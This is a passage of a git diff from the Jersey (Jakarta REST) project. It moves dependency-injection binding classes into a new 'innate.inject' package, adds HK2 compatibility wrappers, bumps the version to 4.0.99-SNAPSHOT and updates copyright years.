+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/SeBeanRegisterExtension.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,14 +35,14 @@
 
 import org.glassfish.jersey.inject.cdi.se.bean.BeanHelper;
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InjectionResolverBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
-import org.glassfish.jersey.internal.inject.InjectionResolverBinding;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import org.jboss.weld.injection.producer.BasicInjectionTarget;
 
@@ -54,7 +54,7 @@
  */
 class SeBeanRegisterExtension implements Extension {
 
-    private final AbstractBinder bindings;
+    private final InternalBinder bindings;
 
     private final List<JerseyInjectionTarget> jerseyInjectionTargets = new ArrayList<>();
 
@@ -66,7 +66,7 @@
      *
      * @param bindings all register beans using Jersey.
      */
-    SeBeanRegisterExtension(AbstractBinder bindings) {
+    SeBeanRegisterExtension(InternalBinder bindings) {
         this.bindings = bindings;
     }
 
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
index 053dbe8..b7bcd4f 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
@@ -33,12 +33,12 @@
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyConstructorInjectionPoint;
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.cdi.se.injector.WrappingJerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.PerThread;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import org.jboss.weld.annotated.enhanced.EnhancedAnnotatedConstructor;
 import org.jboss.weld.annotated.enhanced.EnhancedAnnotatedType;
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/ClassBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/ClassBean.java
index b55f0d3..37874e1 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/ClassBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/ClassBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,7 +32,7 @@
 import jakarta.enterprise.inject.spi.InjectionTarget;
 
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link ClassBinding}. Binding
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/InstanceBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/InstanceBean.java
index 622288f..58de5ea 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/InstanceBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/InstanceBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import jakarta.enterprise.inject.spi.InjectionTarget;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link InstanceBinding}. Binding
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
index 8f3fc55..d075202 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -34,7 +34,7 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.JerseyPriorities;
-import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.innate.inject.InternalBinding;
 import org.glassfish.jersey.internal.inject.PerLookup;
 import org.glassfish.jersey.internal.inject.PerThread;
 
@@ -56,15 +56,15 @@
         DEFAULT_QUALIFIERS.add(new AnnotationLiteral<Any>() {});
     }
 
-    private final Binding<T, ?> binding;
+    private final InternalBinding<T, ?> binding;
 
     /**
-     * JerseyBean constructor with {@link Binding} which represents {@link jakarta.enterprise.context.spi.Contextual} part of the
+     * JerseyBean constructor with {@link InternalBinding} which represents {@link jakarta.enterprise.context.spi.Contextual} part of the
      * bean.
      *
      * @param binding information about the bean.
      */
-    JerseyBean(Binding<T, ?> binding) {
+    JerseyBean(InternalBinding<T, ?> binding) {
         this.binding = binding;
     }
 
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierBeanBridge.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierBeanBridge.java
index ceca584..d4ec52a 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierBeanBridge.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierBeanBridge.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,9 +30,9 @@
 import jakarta.enterprise.inject.spi.BeanManager;
 
 import org.glassfish.jersey.inject.cdi.se.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierInstanceBinding}.
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierClassBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierClassBean.java
index e3d95c5..aee22d4 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierClassBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierClassBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,8 +28,8 @@
 
 import org.glassfish.jersey.inject.cdi.se.ParameterizedTypeImpl;
 import org.glassfish.jersey.inject.cdi.se.injector.JerseyInjectionTarget;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierClassBinding}.
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBean.java
index 16d1815..266184c 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,8 +25,9 @@
 import jakarta.enterprise.context.spi.CreationalContext;
 
 import org.glassfish.jersey.inject.cdi.se.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierInstanceBinding}.
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBeanBridge.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBeanBridge.java
index 93eccae..fa92cd0 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBeanBridge.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierInstanceBeanBridge.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,8 +22,9 @@
 import jakarta.enterprise.context.Dependent;
 import jakarta.enterprise.context.spi.CreationalContext;
 
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierInstanceBinding}.
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeBean.java
index b95ae0a..7a3d019 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeBean.java
@@ -21,7 +21,7 @@
 import jakarta.enterprise.context.Dependent;
 import jakarta.enterprise.context.spi.CreationalContext;
 
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 
 import org.jboss.weld.bean.proxy.BeanInstance;
 import org.jboss.weld.bean.proxy.ProxyFactory;
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeClassBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeClassBean.java
index 698bfb0..f56eda8 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeClassBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/SupplierThreadScopeClassBean.java
@@ -23,8 +23,8 @@
 import jakarta.enterprise.context.Dependent;
 import jakarta.enterprise.context.spi.CreationalContext;
 
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/injector/ContextInjectionResolverImpl.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/injector/ContextInjectionResolverImpl.java
index b83fff3..c32f920 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/injector/ContextInjectionResolverImpl.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/injector/ContextInjectionResolverImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,8 +27,8 @@
 import jakarta.enterprise.inject.spi.Bean;
 import jakarta.enterprise.inject.spi.BeanManager;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.BlindBinder;
 import org.glassfish.jersey.internal.inject.ContextInjectionResolver;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjecteeImpl;
@@ -102,7 +102,7 @@
     /**
      * Context injection resolver binder.
      */
-    public static final class Binder extends AbstractBinder {
+    public static final class Binder extends BlindBinder {
 
         private Supplier<BeanManager> beanManager;
 
diff --git a/inject/cdi2-se/src/test/java/org/glassfish/jersey/inject/cdi/se/BindingTestHelper.java b/inject/cdi2-se/src/test/java/org/glassfish/jersey/inject/cdi/se/BindingTestHelper.java
index 9049439..ba41373 100644
--- a/inject/cdi2-se/src/test/java/org/glassfish/jersey/inject/cdi/se/BindingTestHelper.java
+++ b/inject/cdi2-se/src/test/java/org/glassfish/jersey/inject/cdi/se/BindingTestHelper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import java.util.function.Consumer;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.BlindBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 
@@ -35,8 +35,8 @@
      * @param injectionManager injection manager which accepts the consumer.
      * @param bindConsumer     consumer to populate a binder.
      */
-    static void bind(InjectionManager injectionManager, Consumer<AbstractBinder> bindConsumer) {
-        AbstractBinder binder = new AbstractBinder() {
+    static void bind(InjectionManager injectionManager, Consumer<BlindBinder> bindConsumer) {
+        BlindBinder binder = new BlindBinder() {
             @Override
             protected void configure() {
                 bindConsumer.accept(this);
diff --git a/inject/hk2/pom.xml b/inject/hk2/pom.xml
index a9bee7b..1ee698e 100644
--- a/inject/hk2/pom.xml
+++ b/inject/hk2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.inject</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-hk2</artifactId>
@@ -109,6 +109,7 @@
                             ${jakarta.annotation.osgi.version},
                             ${hk2.jvnet.osgi.version},
                             ${hk2.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractBinder.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractBinder.java
new file mode 100644
index 0000000..ff0fa27
--- /dev/null
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractBinder.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.hk2;
+
+import org.glassfish.jersey.innate.inject.BlindBinder;
+import org.glassfish.jersey.internal.inject.Binder;
+
+/**
+ * Implementation of {@link Binder} interface dedicated to keep some level of code compatibility between previous HK2
+ * implementation and new DI SPI.
+ * <p>
+ * Currently, there are supported only bind method and more complicated method where HK2 interfaces are required were omitted.
+ */
+public abstract class AbstractBinder extends BlindBinder {
+
+}
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
index 94d5f8c..48d4dba 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,11 +23,11 @@
 import java.util.logging.Logger;
 import java.util.stream.Collectors;
 
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
 
@@ -44,7 +44,8 @@
  *
  * @author Petr Bouda
  */
-abstract class AbstractHk2InjectionManager implements InjectionManager {
+abstract sealed class AbstractHk2InjectionManager implements InjectionManager
+        permits DelayedHk2InjectionManager, ImmediateHk2InjectionManager {
 
     private static final Logger LOGGER = Logger.getLogger(AbstractHk2InjectionManager.class.getName());
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Bindings.java
similarity index 69%
copy from core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java
copy to inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Bindings.java
index ef1e733..5524cae 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Bindings.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,17 +14,19 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.inject.hk2;
+
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionResolver;
 
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.Collection;
 import java.util.function.Supplier;
 
-import jakarta.ws.rs.core.GenericType;
-
-import org.glassfish.jersey.internal.util.ReflectionHelper;
-
 /**
  * Utility class to create a new injection binding descriptions for arbitrary Java beans.
  *
@@ -37,11 +39,7 @@
     }
 
     public static Collection<Binding> getBindings(InjectionManager injectionManager, Binder binder) {
-        if (binder instanceof AbstractBinder) {
-            ((AbstractBinder) binder).setInjectionManager(injectionManager);
-        }
-
-        return binder.getBindings();
+        return org.glassfish.jersey.innate.inject.Bindings.getBindings(injectionManager, binder);
     }
 
     /**
@@ -53,8 +51,8 @@
      * @param serviceType service class.
      * @return initialized binding builder.
      */
-    public static <T> ClassBinding<T> service(Class<T> serviceType) {
-        return new ClassBinding<>(serviceType);
+    public static <T> Binding service(Class<T> serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.service(serviceType);
     }
 
     /**
@@ -66,8 +64,8 @@
      * @param serviceType service class.
      * @return initialized binding builder.
      */
-    public static <T> ClassBinding<T> serviceAsContract(Class<T> serviceType) {
-        return new ClassBinding<>(serviceType).to(serviceType);
+    public static <T> Binding serviceAsContract(Class<T> serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.serviceAsContract(serviceType);
     }
 
     /**
@@ -80,9 +78,8 @@
      * @return initialized binding builder.
      */
     @SuppressWarnings("unchecked")
-    public static <T> ClassBinding<T> service(GenericType<T> serviceType) {
-        return (ClassBinding<T>) new ClassBinding<>(serviceType.getRawType())
-                .asType((Class<T>) serviceType.getType());
+    public static <T> Binding service(GenericType<T> serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.service(serviceType);
     }
 
     /**
@@ -95,10 +92,8 @@
      * @return initialized binding builder.
      */
     @SuppressWarnings("unchecked")
-    public static <T> ClassBinding<T> serviceAsContract(GenericType<T> serviceType) {
-        return (ClassBinding<T>) new ClassBinding<>(serviceType.getRawType())
-                .asType((Class<T>) serviceType.getType())
-                .to(serviceType.getType());
+    public static <T> Binding serviceAsContract(GenericType<T> serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.serviceAsContract(serviceType);
     }
 
     /**
@@ -111,10 +106,8 @@
      * @return initialized binding builder.
      */
     @SuppressWarnings("unchecked")
-    public static <T> ClassBinding<T> serviceAsContract(Type serviceType) {
-        return new ClassBinding<>((Class<T>) ReflectionHelper.getRawClass(serviceType))
-                .asType((Class<T>) serviceType)
-                .to(serviceType);
+    public static <T> Binding serviceAsContract(Type serviceType) {
+        return org.glassfish.jersey.innate.inject.Bindings.serviceAsContract(serviceType);
     }
 
     /**
@@ -127,8 +120,8 @@
      * @param service service instance.
      * @return initialized binding builder.
      */
-    public static <T> InstanceBinding<T> service(T service) {
-        return new InstanceBinding<>(service);
+    public static <T> Binding service(T service) {
+        return org.glassfish.jersey.innate.inject.Bindings.service(service);
     }
 
     /**
@@ -141,8 +134,8 @@
      * @param service service instance.
      * @return initialized binding builder.
      */
-    public static <T> InstanceBinding<T> serviceAsContract(T service) {
-        return new InstanceBinding<>(service, service.getClass());
+    public static <T> Binding serviceAsContract(T service) {
+        return org.glassfish.jersey.innate.inject.Bindings.serviceAsContract(service);
     }
 
     /**
@@ -153,9 +146,9 @@
      * @param supplierScope factory scope.
      * @return initialized binding builder.
      */
-    public static <T> SupplierClassBinding<T> supplier(
+    public static <T> Binding supplier(
             Class<? extends Supplier<T>> supplierType, Class<? extends Annotation> supplierScope) {
-        return new SupplierClassBinding<>(supplierType, supplierScope);
+        return org.glassfish.jersey.innate.inject.Bindings.supplier(supplierType, supplierScope);
     }
 
     /**
@@ -167,8 +160,8 @@
      * @param supplierType service supplier class.
      * @return initialized binding builder.
      */
-    public static <T> SupplierClassBinding<T> supplier(Class<? extends Supplier<T>> supplierType) {
-        return new SupplierClassBinding<>(supplierType, null);
+    public static <T> Binding supplier(Class<? extends Supplier<T>> supplierType) {
+        return org.glassfish.jersey.innate.inject.Bindings.supplier(supplierType);
     }
 
     /**
@@ -178,8 +171,8 @@
      * @param supplier service instance.
      * @return initialized binding builder.
      */
-    public static <T> SupplierInstanceBinding<T> supplier(Supplier<T> supplier) {
-        return new SupplierInstanceBinding<>(supplier);
+    public static <T> Binding supplier(Supplier<T> supplier) {
+        return org.glassfish.jersey.innate.inject.Bindings.supplier(supplier);
     }
 
     /**
@@ -193,7 +186,7 @@
      * @param resolver   injection resolver instance.
      * @return initialized binding builder.
      */
-    public static <T extends InjectionResolver> InjectionResolverBinding<T> injectionResolver(T resolver) {
-        return new InjectionResolverBinding<>(resolver);
+    public static <T extends InjectionResolver> Binding injectionResolver(T resolver) {
+        return org.glassfish.jersey.innate.inject.Bindings.injectionResolver(resolver);
     }
 }
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/CompositeBinder.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/CompositeBinder.java
new file mode 100644
index 0000000..5f28854
--- /dev/null
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/CompositeBinder.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.hk2;
+
+import org.glassfish.jersey.internal.inject.Binder;
+
+import java.util.Collection;
+
+/**
+ * Utility class which is able to install several binders and register them as a whole.
+ * <p>
+ * Created {@code Binder} is able to recursively register all injection binding descriptions in all installed binders.
+ *
+ * @author Petr Bouda
+ */
+public class CompositeBinder {
+
+    /**
+     * Creates {@code Binder} with provided binders.
+     *
+     * @param binders provided binder to install as a collection.
+     * @return composite binder.
+     */
+    public static Binder wrap(Collection<Binder> binders) {
+        return org.glassfish.jersey.innate.inject.CompositeBinder.wrap(binders);
+    }
+
+    /**
+     * Creates {@code Binder} with provided binders.
+     *
+     * @param binders provided binder to install as an array.
+     * @return composite binder.
+     */
+    public static Binder wrap(Binder... binders) {
+        return org.glassfish.jersey.innate.inject.CompositeBinder.wrap(binders);
+    }
+}
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/DelayedHk2InjectionManager.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/DelayedHk2InjectionManager.java
index 4423746..28c0464 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/DelayedHk2InjectionManager.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/DelayedHk2InjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,14 +21,14 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 
 import org.glassfish.hk2.api.ServiceLocator;
